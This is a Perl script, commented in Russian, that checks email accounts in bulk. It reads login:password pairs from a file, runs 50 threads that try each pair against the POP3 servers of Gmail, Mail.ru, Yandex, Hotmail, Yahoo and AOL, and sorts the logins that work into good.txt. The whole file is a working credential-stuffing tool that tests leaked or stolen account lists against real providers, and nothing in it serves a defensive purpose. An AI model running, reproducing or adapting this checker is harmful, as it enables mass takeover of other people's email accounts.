#!/usr/bin/perl
use warnings;
use strict;
use threads;
use threads::shared;
use IO::Socket;
use IO::Socket::SSL;
use Fcntl ':flock';
### Настройки
my $accounts_file = 'acc.txt'; # Файл с аккаунтами
my $accounts_delimiter = ':'; # Разделитель логина и пароля
my $good_file = 'good.txt';
my $bad_file = 'bad.txt';
my $log_bad = 1;
my $timeout = 10;
my $threads_count = 50; # Количество потоков
### ---------
my %servers = (
'gmail.com' => {
'port' => 995,
'ssl' => 1,
'login_email' => 1
},
'mail.ru' => {
'host' => 'pop.mail.ru',
'port' => 995,
'ssl' => 1,
'login_email' => 1
},
'yandex.ru' => {
'host' => 'pop.yandex.ru',
'port' => 995,
'ssl' => 1,
'login_email' => 1
},
'hotmail.com' => {
'host' => 'pop3.live.com',
'port' => 995,
'ssl' => 1,
'login_email' => 1
},
'yahoo.com' => {
'host' => 'plus.pop.mail.yahoo.com',
'port' => 995,
'ssl' => 1
},
'aol.com' => {
'port' => 995,
'ssl' => 1,
'login_email' => 1
}
);
my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0);
my @threads = ();
$| = 1;
my @accounts : shared;
(open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!";
push @accounts, $_ while <FH>;
close FH;
open FH, '>', $good_file;
close FH;
if ($log_bad) {
open FH, '>', $bad_file;
close FH;
}
sub thread_print {
my ($str) = "@_ [thread ".threads->tid()."]";
$str .= " " x (78 - length $str) if length $str < 79;
print $str."\n";
$str = '';
$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
print $str.'[threads: '.(scalar threads->list() + 1)."]\r";
}
sub check_account {
while (1) {
last if !@accounts;
my $account = lc shift @accounts;
chomp $account;
if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) {
my ($login, $host, $password) = ($1, $2, $3);
my $r_login = $login;
my $sock;
if ($servers{$host}) {
$r_login = "$login\@$host" if ${$servers{$host}}{'login_email'};
if (${$servers{$host}}{'ssl'}) {
eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
} else {
eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
}
} else {
eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout); };
}
if ($sock) {
$sock->autoflush(1);
my $answ;
$answ = <$sock>;
my $bad = 1;
if ($answ && substr($answ, 0, 1) eq '+') {
print $sock "USER $r_login\n";
$answ = <$sock>;
if ($answ && substr($answ, 0, 1) eq '+') {
print $sock "PASS $password\n";
$answ = <$sock>;
if ($answ && substr($answ, 0, 1) eq '+') {
print $sock "QUIT\n";
close $sock;
$bad = 0;
thread_print "[+] $login\@$host$accounts_delimiter$password";
{ lock %statictis; $statictis{'good'}++; }
open FH, '>>', $good_file;
flock FH, LOCK_EX;
print FH "$login\@$host$accounts_delimiter$password\n";
flock FH, LOCK_UN;
close FH;
} elsif ($answ && $answ =~ /SYS\/PERM/) {
$bad = 0;
{ lock %statictis; $statictis{'error'}++; }
thread_print "[~] $login\@$host$accounts_delimiter$password";
}
}
}
if ($bad) {
thread_print "[-] $login\@$host$accounts_delimiter$password";
{ lock %statictis; $statictis{'bad'}++; }
if ($log_bad) {
open FH, '>>', $bad_file;
flock FH, LOCK_EX;
print FH "$login\@$host$accounts_delimiter$password\n";
flock FH, LOCK_UN;
close FH;
}
}
} else {
{ lock %statictis; $statictis{'error'}++; }
thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!";
}
}
}
threads->exit->detach;
}
$threads_count = $#accounts if $#accounts < $threads_count;
$threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1;
$_->join for @threads;
my $str;
$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
print "$str\n";